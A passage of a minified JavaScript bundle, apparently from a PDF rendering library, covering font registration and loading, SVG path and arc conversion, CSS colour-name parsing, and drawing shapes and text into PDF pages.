new Error(&quot;Method not implemented.&quot;)}getFont(){throw new Error(&quot;Method not implemented.&quot;)}getName(){throw new Error(&quot;Method not implemented.&quot;)}setDefaultLanguage(){throw new Error(&quot;Method not implemented.&quot;)}}const B6e=async(e,t)=&gt;{const n=await(await fetch(e,t)).arrayBuffer();return new Uint8Array(n)},k6e=e=&gt;{const t=e.split(&quot;,&quot;)[0],r=t.substring(0,5)===&quot;data:&quot;,n=t.split(&quot;;&quot;)[1]===&quot;base64&quot;;return r&amp;&amp;n};class _6e{src;fontFamily;fontStyle;fontWeight;data;options;loadResultPromise;constructor(t,r,n,i,s){this.src=t,this.fontFamily=r,this.fontStyle=n||&quot;normal&quot;,this.fontWeight=i||400,this.data=null,this.options=s||{},this.loadResultPromise=null}async _load(){const{postscriptName:t}=this.options;let r=null;if(N6e.includes(this.src))r=new S6e(this.src);else if(k6e(this.src)){const n=this.src.split(&quot;,&quot;)[1],i=new Uint8Array(atob(n).split(&quot;&quot;).map(s=&gt;s.charCodeAt(0)));r=bv(i,t)}else{const{headers:n,body:i,method:s=&quot;GET&quot;}=this.options,o=await B6e(this.src,{method:s,body:i,headers:n});r=bv(o,t)}if(r&amp;&amp;&quot;fonts&quot;in r)throw new Error(&quot;Font collection is not supported&quot;);this.data=r}async load(){return this.loadResultPromise===null&amp;&amp;(this.loadResultPromise=this._load()),this.loadResultPromise}}const D6e={thin:100,hairline:100,ultralight:200,extralight:200,light:300,normal:400,medium:500,semibold:600,demibold:600,bold:700,ultrabold:800,extrabold:800,heavy:900,black:900},JP=e=&gt;typeof e==&quot;string&quot;?D6e[e]:e,XP=(e,t)=&gt;e.fontWeight-t.fontWeight;class c8{family;sources;static create(t){return new c8(t)}constructor(t){this.family=t,this.sources=[]}register({src:t,fontWeight:r,fontStyle:n,...i}){const s=r?JP(r):void 0;this.sources.push(new _6e(t,this.family,n,s,i))}resolve(t){const{fontWeight:r=400,fontStyle:n=&quot;normal&quot;}=t,i=this.sources.filter(u=&gt;u.fontStyle===n),s=i.find(u=&gt;u.fontWeight===r);if(s)return s;let o=null;const l=JP(r);if(l&gt;=400&amp;&amp;l&lt;=500){const u=i.filter(A=&gt;A.fontWeight&lt;=l),h=i.filter(A=&gt;A.fontWeight&gt;500);o=i.filter(A=&gt;A.fontWeight&gt;=l&amp;&amp;A.fontWeight&lt;500)[0]||u[u.length-1]||h[0]}const c=i.filter(u=&gt;u.fontWeight&lt;l).sort(XP),d=i.filter(u=&gt;u.fontWeight&gt;l).sort(XP);if(l&lt;400&amp;&amp;(o=c[c.length-1]||d[0]),l&gt;500&amp;&amp;(o=d[0]||c[c.length-1]),!o)throw new Error(`Could not resolve font for ${this.family}, fontWeight ${r}, fontStyle ${n}`);return o}}class T6e{fontFamilies={};emojiSource=null;constructor(){this.register({family:&quot;Helvetica&quot;,fonts:[{src:&quot;Helvetica&quot;,fontStyle:&quot;normal&quot;,fontWeight:400},{src:&quot;Helvetica-Bold&quot;,fontStyle:&quot;normal&quot;,fontWeight:700},{src:&quot;Helvetica-Oblique&quot;,fontStyle:&quot;italic&quot;,fontWeight:400},{src:&quot;Helvetica-BoldOblique&quot;,fontStyle:&quot;italic&quot;,fontWeight:700}]}),this.register({family:&quot;Courier&quot;,fonts:[{src:&quot;Courier&quot;,fontStyle:&quot;normal&quot;,fontWeight:400},{src:&quot;Courier-Bold&quot;,fontStyle:&quot;normal&quot;,fontWeight:700},{src:&quot;Courier-Oblique&quot;,fontStyle:&quot;italic&quot;,fontWeight:400},{src:&quot;Courier-BoldOblique&quot;,fontStyle:&quot;italic&quot;,fontWeight:700}]}),this.register({family:&quot;Times-Roman&quot;,fonts:[{src:&quot;Times-Roman&quot;,fontStyle:&quot;normal&quot;,fontWeight:400},{src:&quot;Times-Bold&quot;,fontStyle:&quot;normal&quot;,fontWeight:700},{src:&quot;Times-Italic&quot;,fontStyle:&quot;italic&quot;,fontWeight:400},{src:&quot;Times-BoldItalic&quot;,fontStyle:&quot;italic&quot;,fontWeight:700}]}),this.register({family:&quot;Helvetica-Bold&quot;,src:&quot;Helvetica-Bold&quot;}),this.register({family:&quot;Helvetica-Oblique&quot;,src:&quot;Helvetica-Oblique&quot;}),this.register({family:&quot;Helvetica-BoldOblique&quot;,src:&quot;Helvetica-BoldOblique&quot;}),this.register({family:&quot;Courier-Bold&quot;,src:&quot;Courier-Bold&quot;}),this.register({family:&quot;Courier-Oblique&quot;,src:&quot;Courier-Oblique&quot;}),this.register({family:&quot;Courier-BoldOblique&quot;,src:&quot;Courier-BoldOblique&quot;}),this.register({family:&quot;Times-Bold&quot;,src:&quot;Times-Bold&quot;}),this.register({family:&quot;Times-Italic&quot;,src:&quot;Times-Italic&quot;}),this.register({family:&quot;Times-BoldItalic&quot;,src:&quot;Times-BoldItalic&quot;}),this.load({fontFamily:&quot;Helvetica&quot;,fontStyle:&quot;normal&quot;,fontWeight:400}),this.load({fontFamily:&quot;Helvetica&quot;,fontStyle:&quot;normal&quot;,fontWeight:700}),this.load({fontFamily:&quot;Helvetica&quot;,fontStyle:&quot;italic&quot;,fontWeight:400}),this.load({fontFamily:&quot;Helvetica&quot;,fontStyle:&quot;italic&quot;,fontWeight:700})}hyphenationCallback=null;register=t=&gt;{const{family:r}=t;if(this.fontFamilies[r]||(this.fontFamilies[r]=c8.create(r)),&quot;fonts&quot;in t)for(let n=0;n&lt;t.fonts.length;n+=1){const{src:i,fontStyle:s,fontWeight:o,...l}=t.fonts[n];this.fontFamilies[r].register({src:i,fontStyle:s,fontWeight:o,...l})}else{const{src:n,fontStyle:i,fontWeight:s,...o}=t;this.fontFamilies[r].register({src:n,fontStyle:i,fontWeight:s,...o})}};registerEmojiSource=t=&gt;{this.emojiSource=t};registerHyphenationCallback=t=&gt;{this.hyphenationCallback=t};getFont=t=&gt;{const{fontFamily:r}=t;if(!this.fontFamilies[r])throw new Error(`Font family not registered: ${r}. Please register it calling Font.register() method.`);return this.fontFamilies[r].resolve(t)};load=async t=&gt;{const r=this.getFont(t);r&amp;&amp;await r.load()};reset=()=&gt;{const t=Object.keys(this.fontFamilies);for(let r=0;r&lt;t.length;r+=1){const n=t[r];for(let i=0;i&lt;this.fontFamilies[n].sources.length;i++){const s=this.fontFamilies[n].sources[i];s.data=null}}};clear=()=&gt;{this.fontFamilies={}};getRegisteredFonts=()=&gt;this.fontFamilies;getEmojiSource=()=&gt;this.emojiSource;getHyphenationCallback=()=&gt;this.hyphenationCallback;getRegisteredFontFamilies=()=&gt;Object.keys(this.fontFamilies)}const R6e=(e,t,r)=&gt;{if(Math.abs(e)&gt;r.length)return r;const n=r.length+e;return Object.assign([],r,{[n]:t(r[n])})},P6e=(...e)=&gt;async(t,...r)=&gt;{let n=t;const i=e.slice().reverse();for(let s=0;s&lt;i.length;s+=1){const o=i[s];n=await o(n,...r)}return n},Q6e=e=&gt;e&amp;&amp;e.replace(/(^|\s)\S/g,t=&gt;t.toUpperCase()),BE=e=&gt;Array.isArray(e)?e:[e],Nc=(...e)=&gt;(t,...r)=&gt;{let n=t;const i=e.slice().reverse();for(let s=0;s&lt;i.length;s+=1){const o=i[s];n=o(n,...r)}return n},F6e=e=&gt;e.slice(0,e.length-1);function kE(e,t){const r={},n=Object.keys(t);for(let i=0;i&lt;n.length;i+=1){const s=n[i],o=e[s];typeof o==&quot;function&quot;?r[s]=o(t[s]):r[s]=t[s]}return r}const Oa=e=&gt;e==null;function eh(e){return e===&quot;&quot;?&quot;&quot;:e[e.length-1]}const oW=(e,t)=&gt;{const r=Object.entries(e),n={};return r.reduce((i,[s,o],l)=&gt;(i[s]=t(o,s,l),i),n)},O6e=e=&gt;/((-)?\d+\.?\d*)%/g.exec(`${e}`),Po=e=&gt;{const t=O6e(e);if(t){const r=parseFloat(t[1]);return{percent:r/100,value:r}}return null},JN=(e,t)=&gt;{const r=BE(e),n=Object.assign({},t);return r.forEach(i=&gt;{delete n[i]}),n},u8=(e,t)=&gt;{const r={};for(let n=0;n&lt;e.length;n+=1){const i=e[n];i in t&amp;&amp;(r[i]=t[i])}return r},lW=(e,t=0)=&gt;{const r=new Array(t);for(let n=0;n&lt;t;n+=1)r[n]=e;return r},eQ=e=&gt;Array.prototype.slice.call(e,0).reverse(),Qv=e=&gt;e&amp;&amp;e.charAt(0).toUpperCase()+e.slice(1),L6e=(e,t)=&gt;{const r=[];for(let n=0;n&lt;t.length;n+=1){const i=t[n];e.includes(i)||r.push(i)}return r},Cs=e=&gt;typeof e==&quot;string&quot;?Number.parseFloat(e):e;var n3,tQ;function M6e(){if(tQ)return n3;tQ=1,n3=e;function e(t){var r=0,n=0,i=0,s=0;return t.map(function(o){o=o.slice();var l=o[0],c=l.toUpperCase();if(l!=c)switch(o[0]=c,l){case&quot;a&quot;:o[6]+=i,o[7]+=s;break;case&quot;v&quot;:o[1]+=s;break;case&quot;h&quot;:o[1]+=i;break;default:for(var d=1;d&lt;o.length;)o[d++]+=i,o[d++]+=s}switch(c){case&quot;Z&quot;:i=r,s=n;break;case&quot;H&quot;:i=o[1];break;case&quot;V&quot;:s=o[1];break;case&quot;M&quot;:i=r=o[1],s=n=o[2];break;default:i=o[o.length-2],s=o[o.length-1]}return o})}return n3}var U6e=M6e();const z6e=ma(U6e);var i3,rQ;function $6e(){if(rQ)return i3;rQ=1,i3=r;var e={a:7,c:6,h:1,l:2,m:2,q:4,s:4,t:2,v:1,z:0},t=/([astvzqmhlc])([^astvzqmhlc]*)/ig;function r(s){var o=[];return s.replace(t,function(l,c,d){var u=c.toLowerCase();for(d=i(d),u==&quot;m&quot;&amp;&amp;d.length&gt;2&amp;&amp;(o.push([c].concat(d.splice(0,2))),u=&quot;l&quot;,c=c==&quot;m&quot;?&quot;l&quot;:&quot;L&quot;);;){if(d.length==e[u])return d.unshift(c),o.push(d);if(d.length&lt;e[u])throw new Error(&quot;malformed path data&quot;);o.push([c].concat(d.splice(0,e[u])))}}),o}var n=/-?[0-9]*\.?[0-9]+(?:e[-+]?\d+)?/ig;function i(s){var o=s.match(n);return o?o.map(Number):[]}return i3}var H6e=$6e();const q6e=ma(H6e);var G6e=(function(){function e(t,r){var n=[],i=!0,s=!1,o=void 0;try{for(var l=t[Symbol.iterator](),c;!(i=(c=l.next()).done)&amp;&amp;(n.push(c.value),!(r&amp;&amp;n.length===r));i=!0);}catch(d){s=!0,o=d}finally{try{!i&amp;&amp;l.return&amp;&amp;l.return()}finally{if(s)throw o}}return n}return function(t,r){if(Array.isArray(t))return t;if(Symbol.iterator in Object(t))return e(t,r);throw new TypeError(&quot;Invalid attempt to destructure non-iterable instance&quot;)}})(),tv=Math.PI*2,a3=function(t,r,n,i,s,o,l){var c=t.x,d=t.y;c*=r,d*=n;var u=i*c-s*d,h=s*c+i*d;return{x:u+o,y:h+l}},V6e=function(t,r){var n=r===1.5707963267948966?.551915024494:r===-1.5707963267948966?-.551915024494:1.3333333333333333*Math.tan(r/4),i=Math.cos(t),s=Math.sin(t),o=Math.cos(t+r),l=Math.sin(t+r);return[{x:i-s*n,y:s+i*n},{x:o+l*n,y:l-o*n},{x:o,y:l}]},nQ=function(t,r,n,i){var s=t*i-r*n&lt;0?-1:1,o=t*n+r*i;return o&gt;1&amp;&amp;(o=1),o&lt;-1&amp;&amp;(o=-1),s*Math.acos(o)},W6e=function(t,r,n,i,s,o,l,c,d,u,h,p){var A=Math.pow(s,2),y=Math.pow(o,2),v=Math.pow(h,2),w=Math.pow(p,2),j=A*y-A*w-y*v;j&lt;0&amp;&amp;(j=0),j/=A*w+y*v,j=Math.sqrt(j)*(l===c?-1:1);var E=j*s/o*p,S=j*-o/s*h,_=u*E-d*S+(t+n)/2,C=d*E+u*S+(r+i)/2,Q=(h-E)/s,R=(p-S)/o,T=(-h-E)/s,M=(-p-S)/o,O=nQ(1,0,Q,R),$=nQ(Q,R,T,M);return c===0&amp;&amp;$&gt;0&amp;&amp;($-=tv),c===1&amp;&amp;$&lt;0&amp;&amp;($+=tv),[_,C,O,$]},K6e=function(t){var r=t.px,n=t.py,i=t.cx,s=t.cy,o=t.rx,l=t.ry,c=t.xAxisRotation,d=c===void 0?0:c,u=t.largeArcFlag,h=u===void 0?0:u,p=t.sweepFlag,A=p===void 0?0:p,y=[];if(o===0||l===0)return[];var v=Math.sin(d*tv/360),w=Math.cos(d*tv/360),j=w*(r-i)/2+v*(n-s)/2,E=-v*(r-i)/2+w*(n-s)/2;if(j===0&amp;&amp;E===0)return[];o=Math.abs(o),l=Math.abs(l);var S=Math.pow(j,2)/Math.pow(o,2)+Math.pow(E,2)/Math.pow(l,2);S&gt;1&amp;&amp;(o*=Math.sqrt(S),l*=Math.sqrt(S));var _=W6e(r,n,i,s,o,l,h,A,v,w,j,E),C=G6e(_,4),Q=C[0],R=C[1],T=C[2],M=C[3],O=Math.abs(M)/(tv/4);Math.abs(1-O)&lt;1e-7&amp;&amp;(O=1);var $=Math.max(Math.ceil(O),1);M/=$;for(var P=0;P&lt;$;P++)y.push(V6e(T,M)),T+=M;return y.map(function(L){var X=a3(L[0],o,l,w,v,Q,R),W=X.x,G=X.y,J=a3(L[1],o,l,w,v,Q,R),q=J.x,ee=J.y,ne=a3(L[2],o,l,w,v,Q,R),V=ne.x,ue=ne.y;return{x1:W,y1:G,x2:q,y2:ee,x:V,y:ue}})};function Y6e(e){for(var t,r=[],n=0,i=0,s=0,o=0,l=null,c=null,d=0,u=0,h=0,p=e.length;h&lt;p;h++){var A=e[h],y=A[0];switch(y){case&quot;M&quot;:s=A[1],o=A[2];break;case&quot;A&quot;:var v=K6e({px:d,py:u,cx:A[6],cy:A[7],rx:A[1],ry:A[2],xAxisRotation:A[3],largeArcFlag:A[4],sweepFlag:A[5]});if(!v.length)continue;for(var w=0,j;w&lt;v.length;w++)j=v[w],A=[&quot;C&quot;,j.x1,j.y1,j.x2,j.y2,j.x,j.y],w&lt;v.length-1&amp;&amp;r.push(A);break;case&quot;S&quot;:var E=d,S=u;(t==&quot;C&quot;||t==&quot;S&quot;)&amp;&amp;(E+=E-n,S+=S-i),A=[&quot;C&quot;,E,S,A[1],A[2],A[3],A[4]];break;case&quot;T&quot;:t==&quot;Q&quot;||t==&quot;T&quot;?(l=d*2-l,c=u*2-c):(l=d,c=u),A=iQ(d,u,l,c,A[1],A[2]);break;case&quot;Q&quot;:l=A[1],c=A[2],A=iQ(d,u,A[1],A[2],A[3],A[4]);break;case&quot;L&quot;:A=Eb(d,u,A[1],A[2]);break;case&quot;H&quot;:A=Eb(d,u,A[1],u);break;case&quot;V&quot;:A=Eb(d,u,d,A[1]);break;case&quot;Z&quot;:A=Eb(d,u,s,o);break}t=y,d=A[A.length-2],u=A[A.length-1],A.length&gt;4?(n=A[A.length-4],i=A[A.length-3]):(n=d,i=u),r.push(A)}return r}function Eb(e,t,r,n){return[&quot;C&quot;,e,t,r,n,r,n]}function iQ(e,t,r,n,i,s){return[&quot;C&quot;,e/3+2/3*r,t/3+2/3*n,i/3+2/3*r,s/3+2/3*n,i,s]}var s3={exports:{}},o3,aQ;function Z6e(){return aQ||(aQ=1,o3={aliceblue:[240,248,255],antiquewhite:[250,235,215],aqua:[0,255,255],aquamarine:[127,255,212],azure:[240,255,255],beige:[245,245,220],bisque:[255,228,196],black:[0,0,0],blanchedalmond:[255,235,205],blue:[0,0,255],blueviolet:[138,43,226],brown:[165,42,42],burlywood:[222,184,135],cadetblue:[95,158,160],chartreuse:[127,255,0],chocolate:[210,105,30],coral:[255,127,80],cornflowerblue:[100,149,237],cornsilk:[255,248,220],crimson:[220,20,60],cyan:[0,255,255],darkblue:[0,0,139],darkcyan:[0,139,139],darkgoldenrod:[184,134,11],darkgray:[169,169,169],darkgreen:[0,100,0],darkgrey:[169,169,169],darkkhaki:[189,183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkseagreen:[143,188,143],darkslateblue:[72,61,139],darkslategray:[47,79,79],darkslategrey:[47,79,79],darkturquoise:[0,206,209],darkviolet:[148,0,211],deeppink:[255,20,147],deepskyblue:[0,191,255],dimgray:[105,105,105],dimgrey:[105,105,105],dodgerblue:[30,144,255],firebrick:[178,34,34],floralwhite:[255,250,240],forestgreen:[34,139,34],fuchsia:[255,0,255],gainsboro:[220,220,220],ghostwhite:[248,248,255],gold:[255,215,0],goldenrod:[218,165,32],gray:[128,128,128],green:[0,128,0],greenyellow:[173,255,47],grey:[128,128,128],honeydew:[240,255,240],hotpink:[255,105,180],indianred:[205,92,92],indigo:[75,0,130],ivory:[255,255,240],khaki:[240,230,140],lavender:[230,230,250],lavenderblush:[255,240,245],lawngreen:[124,252,0],lemonchiffon:[255,250,205],lightblue:[173,216,230],lightcoral:[240,128,128],lightcyan:[224,255,255],lightgoldenrodyellow:[250,250,210],lightgray:[211,211,211],lightgreen:[144,238,144],lightgrey:[211,211,211],lightpink:[255,182,193],lightsalmon:[255,160,122],lightseagreen:[32,178,170],lightskyblue:[135,206,250],lightslategray:[119,136,153],lightslategrey:[119,136,153],lightsteelblue:[176,196,222],lightyellow:[255,255,224],lime:[0,255,0],limegreen:[50,205,50],linen:[250,240,230],magenta:[255,0,255],maroon:[128,0,0],mediumaquamarine:[102,205,170],mediumblue:[0,0,205],mediumorchid:[186,85,211],mediumpurple:[147,112,219],mediumseagreen:[60,179,113],mediumslateblue:[123,104,238],mediumspringgreen:[0,250,154],mediumturquoise:[72,209,204],mediumvioletred:[199,21,133],midnightblue:[25,25,112],mintcream:[245,255,250],mistyrose:[255,228,225],moccasin:[255,228,181],navajowhite:[255,222,173],navy:[0,0,128],oldlace:[253,245,230],olive:[128,128,0],olivedrab:[107,142,35],orange:[255,165,0],orangered:[255,69,0],orchid:[218,112,214],palegoldenrod:[238,232,170],palegreen:[152,251,152],paleturquoise:[175,238,238],palevioletred:[219,112,147],papayawhip:[255,239,213],peachpuff:[255,218,185],peru:[205,133,63],pink:[255,192,203],plum:[221,160,221],powderblue:[176,224,230],purple:[128,0,128],rebeccapurple:[102,51,153],red:[255,0,0],rosybrown:[188,143,143],royalblue:[65,105,225],saddlebrown:[139,69,19],salmon:[250,128,114],sandybrown:[244,164,96],seagreen:[46,139,87],seashell:[255,245,238],sienna:[160,82,45],silver:[192,192,192],skyblue:[135,206,235],slateblue:[106,90,205],slategray:[112,128,144],slategrey:[112,128,144],snow:[255,250,250],springgreen:[0,255,127],steelblue:[70,130,180],tan:[210,180,140],teal:[0,128,128],thistle:[216,191,216],tomato:[255,99,71],turquoise:[64,224,208],violet:[238,130,238],wheat:[245,222,179],white:[255,255,255],whitesmoke:[245,245,245],yellow:[255,255,0],yellowgreen:[154,205,50]}),o3}var l3={exports:{}},c3,sQ;function J6e(){return sQ||(sQ=1,c3=function(t){return!t||typeof t==&quot;string&quot;?!1:t instanceof Array||Array.isArray(t)||t.length&gt;=0&amp;&amp;(t.splice instanceof Function||Object.getOwnPropertyDescriptor(t,t.length-1)&amp;&amp;t.constructor.name!==&quot;String&quot;)}),c3}var oQ;function X6e(){if(oQ)return l3.exports;oQ=1;var e=J6e(),t=Array.prototype.concat,r=Array.prototype.slice,n=l3.exports=function(s){for(var o=[],l=0,c=s.length;l&lt;c;l++){var d=s[l];e(d)?o=t.call(o,r.call(d)):o.push(d)}return o};return n.wrap=function(i){return function(){return i(n(arguments))}},l3.exports}var lQ;function eSe(){if(lQ)return s3.exports;lQ=1;var e=Z6e(),t=X6e(),r=Object.hasOwnProperty,n=Object.create(null);for(var i in e)r.call(e,i)&amp;&amp;(n[e[i]]=i);var s=s3.exports={to:{},get:{}};s.get=function(c){var d=c.substring(0,3).toLowerCase(),u,h;switch(d){case&quot;hsl&quot;:u=s.get.hsl(c),h=&quot;hsl&quot;;break;case&quot;hwb&quot;:u=s.get.hwb(c),h=&quot;hwb&quot;;break;default:u=s.get.rgb(c),h=&quot;rgb&quot;;break}return u?{model:h,value:u}:null},s.get.rgb=function(c){if(!c)return null;var d=/^#([a-f0-9]{3,4})$/i,u=/^#([a-f0-9]{6})([a-f0-9]{2})?$/i,h=/^rgba?\(\s*([+-]?\d+)(?=[\s,])\s*(?:,\s*)?([+-]?\d+)(?=[\s,])\s*(?:,\s*)?([+-]?\d+)\s*(?:[,|\/]\s*([+-]?[\d\.]+)(%?)\s*)?\)$/,p=/^rgba?\(\s*([+-]?[\d\.]+)\%\s*,?\s*([+-]?[\d\.]+)\%\s*,?\s*([+-]?[\d\.]+)\%\s*(?:[,|\/]\s*([+-]?[\d\.]+)(%?)\s*)?\)$/,A=/^(\w+)$/,y=[0,0,0,1],v,w,j;if(v=c.match(u)){for(j=v[2],v=v[1],w=0;w&lt;3;w++){var E=w*2;y[w]=parseInt(v.slice(E,E+2),16)}j&amp;&amp;(y[3]=parseInt(j,16)/255)}else if(v=c.match(d)){for(v=v[1],j=v[3],w=0;w&lt;3;w++)y[w]=parseInt(v[w]+v[w],16);j&amp;&amp;(y[3]=parseInt(j+j,16)/255)}else if(v=c.match(h)){for(w=0;w&lt;3;w++)y[w]=parseInt(v[w+1],0);v[4]&amp;&amp;(v[5]?y[3]=parseFloat(v[4])*.01:y[3]=parseFloat(v[4]))}else if(v=c.match(p)){for(w=0;w&lt;3;w++)y[w]=Math.round(parseFloat(v[w+1])*2.55);v[4]&amp;&amp;(v[5]?y[3]=parseFloat(v[4])*.01:y[3]=parseFloat(v[4]))}else return(v=c.match(A))?v[1]===&quot;transparent&quot;?[0,0,0,0]:r.call(e,v[1])?(y=e[v[1]],y[3]=1,y):null:null;for(w=0;w&lt;3;w++)y[w]=o(y[w],0,255);return y[3]=o(y[3],0,1),y},s.get.hsl=function(c){if(!c)return null;var d=/^hsla?\(\s*([+-]?(?:\d{0,3}\.)?\d+)(?:deg)?\s*,?\s*([+-]?[\d\.]+)%\s*,?\s*([+-]?[\d\.]+)%\s*(?:[,|\/]\s*([+-]?(?=\.\d|\d)(?:0|[1-9]\d*)?(?:\.\d*)?(?:[eE][+-]?\d+)?)\s*)?\)$/,u=c.match(d);if(u){var h=parseFloat(u[4]),p=(parseFloat(u[1])%360+360)%360,A=o(parseFloat(u[2]),0,100),y=o(parseFloat(u[3]),0,100),v=o(isNaN(h)?1:h,0,1);return[p,A,y,v]}return null},s.get.hwb=function(c){if(!c)return null;var d=/^hwb\(\s*([+-]?\d{0,3}(?:\.\d+)?)(?:deg)?\s*,\s*([+-]?[\d\.]+)%\s*,\s*([+-]?[\d\.]+)%\s*(?:,\s*([+-]?(?=\.\d|\d)(?:0|[1-9]\d*)?(?:\.\d*)?(?:[eE][+-]?\d+)?)\s*)?\)$/,u=c.match(d);if(u){var h=parseFloat(u[4]),p=(parseFloat(u[1])%360+360)%360,A=o(parseFloat(u[2]),0,100),y=o(parseFloat(u[3]),0,100),v=o(isNaN(h)?1:h,0,1);return[p,A,y,v]}return null},s.to.hex=function(){var c=t(arguments);return&quot;#&quot;+l(c[0])+l(c[1])+l(c[2])+(c[3]&lt;1?l(Math.round(c[3]*255)):&quot;&quot;)},s.to.rgb=function(){var c=t(arguments);return c.length&lt;4||c[3]===1?&quot;rgb(&quot;+Math.round(c[0])+&quot;, &quot;+Math.round(c[1])+&quot;, &quot;+Math.round(c[2])+&quot;)&quot;:&quot;rgba(&quot;+Math.round(c[0])+&quot;, &quot;+Math.round(c[1])+&quot;, &quot;+Math.round(c[2])+&quot;, &quot;+c[3]+&quot;)&quot;},s.to.rgb.percent=function(){var c=t(arguments),d=Math.round(c[0]/255*100),u=Math.round(c[1]/255*100),h=Math.round(c[2]/255*100);return c.length&lt;4||c[3]===1?&quot;rgb(&quot;+d+&quot;%, &quot;+u+&quot;%, &quot;+h+&quot;%)&quot;:&quot;rgba(&quot;+d+&quot;%, &quot;+u+&quot;%, &quot;+h+&quot;%, &quot;+c[3]+&quot;)&quot;},s.to.hsl=function(){var c=t(arguments);return c.length&lt;4||c[3]===1?&quot;hsl(&quot;+c[0]+&quot;, &quot;+c[1]+&quot;%, &quot;+c[2]+&quot;%)&quot;:&quot;hsla(&quot;+c[0]+&quot;, &quot;+c[1]+&quot;%, &quot;+c[2]+&quot;%, &quot;+c[3]+&quot;)&quot;},s.to.hwb=function(){var c=t(arguments),d=&quot;&quot;;return c.length&gt;=4&amp;&amp;c[3]!==1&amp;&amp;(d=&quot;, &quot;+c[3]),&quot;hwb(&quot;+c[0]+&quot;, &quot;+c[1]+&quot;%, &quot;+c[2]+&quot;%&quot;+d+&quot;)&quot;},s.to.keyword=function(c){return n[c.slice(0,3)]};function o(c,d,u){return Math.min(Math.max(d,c),u)}function l(c){var d=Math.round(c).toString(16).toUpperCase();return d.length&lt;2?&quot;0&quot;+d:d}return s3.exports}var tSe=eSe();const Fv=ma(tSe),rSe=(e,t)=&gt;{t.props?.d&amp;&amp;e.path(t.props.d)},cQ=4*((Math.sqrt(2)-1)/3),nSe=(e,t)=&gt;{const r=t.props?.x||0,n=t.props?.y||0,i=t.props?.rx||0,s=t.props?.ry||0,o=t.props?.width||0,l=t.props?.height||0;if(!(!o||!l)){if(i&amp;&amp;s){const c=i*cQ,d=s*cQ;e.moveTo(r+i,n),e.lineTo(r-i+o,n),e.bezierCurveTo(r-i+o+c,n,r+o,n+s-d,r+o,n+s),e.lineTo(r+o,n+l-s),e.bezierCurveTo(r+o,n+l-s+d,r-i+o+c,n+l,r-i+o,n+l),e.lineTo(r+i,n+l),e.bezierCurveTo(r+i-c,n+l,r,n+l-s+d,r,n+l-s),e.lineTo(r,n+s),e.bezierCurveTo(r,n+s-d,r+i-c,n,r+i,n)}else e.moveTo(r,n),e.lineTo(r+o,n),e.lineTo(r+o,n+l),e.lineTo(r,n+l);e.closePath()}},iSe=(e,t)=&gt;{const{x1:r,x2:n,y1:i,y2:s}=t.props||{};e.moveTo(r,i),e.lineTo(n,s)},aSe=()=&gt;{},uQ=4*((Math.sqrt(2)-1)/3),cW=(e,t,r,n=0,i=0)=&gt;{const s=n-t,o=i-r,l=t*uQ,c=r*uQ,d=s+t*2,u=o+r*2,h=s+t,p=o+r;e.moveTo(s,p),e.bezierCurveTo(s,p-c,h-l,o,h,o),e.bezierCurveTo(h+l,o,d,p-c,d,p),e.bezierCurveTo(d,p+c,h+l,u,h,u),e.bezierCurveTo(h-l,u,s,p+c,s,p),e.closePath()},sSe=(e,t)=&gt;{const{cx:r,cy:n,rx:i,ry:s}=t.props||{};cW(e,i,s,r,n)},oSe=(e,t)=&gt;{const r=t.props?.cx,n=t.props?.cy,i=t.props?.r;cW(e,i,i,r,n)},Xh=e=&gt;{if(e&gt;-1e21&amp;&amp;e&lt;1e21)return Math.round(e*1e6)/1e6;throw new Error(`unsupported number: ${e}`)},lSe=(e,t,r,n,i)=&gt;{const s=[],o=e._fontSize/1e3;let l,c=0,d=!1;e.save(),e.transform(1,0,0,-1,0,e.page.height),i=e.page.height-i,e.page.fonts[e._font.id]==null&amp;&amp;(e.page.fonts[e._font.id]=e._font.ref()),e.addContent(&quot;BT&quot;),e.addContent(`1 0 0 1 ${Xh(n)} ${Xh(i)} Tm`),e.addContent(`/${e._font.id} ${Xh(e._fontSize)} Tf`);const u=p=&gt;{if(c&lt;p){const A=t.slice(c,p).join(&quot;&quot;),y=r[p-1].xAdvance-r[p-1].advanceWidth;s.push(`&lt;${A}&gt; ${Xh(-y)}`)}return c=p},h=p=&gt;{if(u(p),s.length&gt;0)return e.addContent(`[${s.join(&quot; &quot;)}] TJ`),s.length=0};for(l=0;l&lt;r.length;l+=1){const p=r[l];p.xOffset||p.yOffset?(h(l),e.addContent(`1 0 0 1 ${Xh(n+p.xOffset*o)} ${Xh(i+p.yOffset*o)} Tm`),h(l+1),d=!0):(d&amp;&amp;(e.addContent(`1 0 0 1 ${Xh(n)} ${Xh(i)} Tm`),d=!1),p.xAdvance-p.advanceWidth!==0&amp;&amp;u(l+1)),n+=p.xAdvance*o}return h(l),e.addContent(&quot;ET&quot;),e.restore()},uW=(e,t,r,n,i)=&gt;{const s=1e3/e._fontSize,l=1e3/(e._font.font.unitsPerEm||1e3),c=e._font.encodeGlyphs(t),d=r.map((u,h)=&gt;({xAdvance:u.xAdvance*s,yAdvance:u.yAdvance*s,xOffset:u.xOffset,yOffset:u.yOffset,advanceWidth:t[h].advanceWidth*l}));return lSe(e,c,d,n,i)},cSe=(e,t)=&gt;{if(!t.glyphs||!t.positions)return;const r=t.xAdvance,n=t.attributes.font?.[0],{fontSize:i,color:s,opacity:o}=t.attributes;s&amp;&amp;e.fillColor(s),e.fillOpacity(o),n&amp;&amp;e.font(n.type===&quot;STANDARD&quot;?n.fullName:n,i);try{uW(e,t.glyphs,t.positions,0,0)}catch(l){console.log(l)}e.translate(r,0)},uSe=(e,t,r,n)=&gt;{e.save();const i=t.box?.x||0,s=t.box?.y||0,o=t.runs[0]?.attributes.font?.[0],l=t.runs[0]?.attributes?.scale||1,c=t.xAdvance;if(!o)return;const d=o.ascent*l,u=o.xHeight*l,h=o.descent*l,p=o.capHeight*l;let A=i,y=s;switch(r){case&quot;middle&quot;:A=i-c/2;break;case&quot;end&quot;:A=i-c;break;default:A=i;break}switch(n){case&quot;middle&quot;:case&quot;central&quot;:y=s+p/2;break;case&quot;hanging&quot;:y=s+p;break;case&quot;mathematical&quot;:y=s+u;break;case&quot;text-after-edge&quot;:y=s+h;break;case&quot;text-before-edge&quot;:y=s+d;break;default:y=s;break}e.translate(A,y),t.runs.forEach(v=&gt;cSe(e,v)),e.restore()},dSe=(e,t)=&gt;{t.children.forEach(n=&gt;uSe(e,n.lines[0],n.props.textAnchor,n.props.dominantBaseline))},fSe=e=&gt;{const t=[];for(let r=0;r&lt;e.length;r+=2)t.push([e[r],e[r+1]]);return t},d8=e=&gt;{let 